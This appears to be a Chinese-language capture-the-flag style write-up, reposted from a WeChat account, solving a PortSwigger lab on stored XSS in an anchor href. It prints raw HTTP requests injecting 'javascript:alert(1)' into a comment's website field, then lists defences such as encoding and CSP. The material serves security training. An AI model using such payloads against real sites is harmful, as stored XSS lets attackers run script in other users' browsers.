0x01 阅读须知
鸡哥安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
0x02 XSS说明
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。
0x03 题目解析
靶场地址:https://portswigger.net/web-security/all-labs
XSS题目八、href将 XSS 存储到带有双引号 HTML 编码的锚点属性中
1.评论框输入测试payload
POST /post/comment HTTP/1.1
Host: 0aa600c70401f9aa80639e3100740028.web-security-academy.net
Cookie: session=hcVJ9p6iC9wBBA4rvRJf7WHNzGCYqoHq
Content-Length: 135
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="21", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: https://0aa600c70401f9aa80639e3100740028.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa600c70401f9aa80639e3100740028.web-security-academy.net/post?postId=8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
csrf=1lV6hPT6h3kH05X5ZKgUL82TPW5i0EBJ&postId=8&comment=111111111111&name=22222222222222&email=123%40123.com&website=javascript:alert(1)
2.查看主页,发现http://123.com在a标签的href内,那这里就存在xss,构造payload
javascript:alert(1)
3.输入到website中
POST /post/comment HTTP/1.1
Host: 0aa600c70401f9aa80639e3100740028.web-security-academy.net
Cookie: session=hcVJ9p6iC9wBBA4rvRJf7WHNzGCYqoHq
Content-Length: 135
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="21", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: https://0aa600c70401f9aa80639e3100740028.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa600c70401f9aa80639e3100740028.web-security-academy.net/post?postId=8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
csrf=1lV6hPT6h3kH05X5ZKgUL82TPW5i0EBJ&postId=8&comment=111111111111&name=22222222222222&email=123%40123.com&website=javascript:alert(1)
4.发现成功插入到评论中,点击即可弹窗
javascript:alert(1)
=>
href="javascript:alert(1)"
代码解析:
在HTML href属性中插入 "javascript:alert(1)" 代码,当用户单击链接时,代码将执行并显示警报框,其中包含数字 "1"
0x04 挖掘和防御
1.标签过滤
2.事件过滤
3.敏感字符过滤
4.设置httponly防止Cookie被获取
5.内容安全策略(CSP)
6.在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码
7.在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
8.在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
9.在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
1个1朵
5毛钱
天天搬砖的小M
能不能吃顿好的
就看你们的啦
原文始发于微信公众号(鲲哥的Bypass之旅):portswigger靶场-Lab8: href将 XSS 存储到带有双引号 HTML 编码的锚点属性中
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论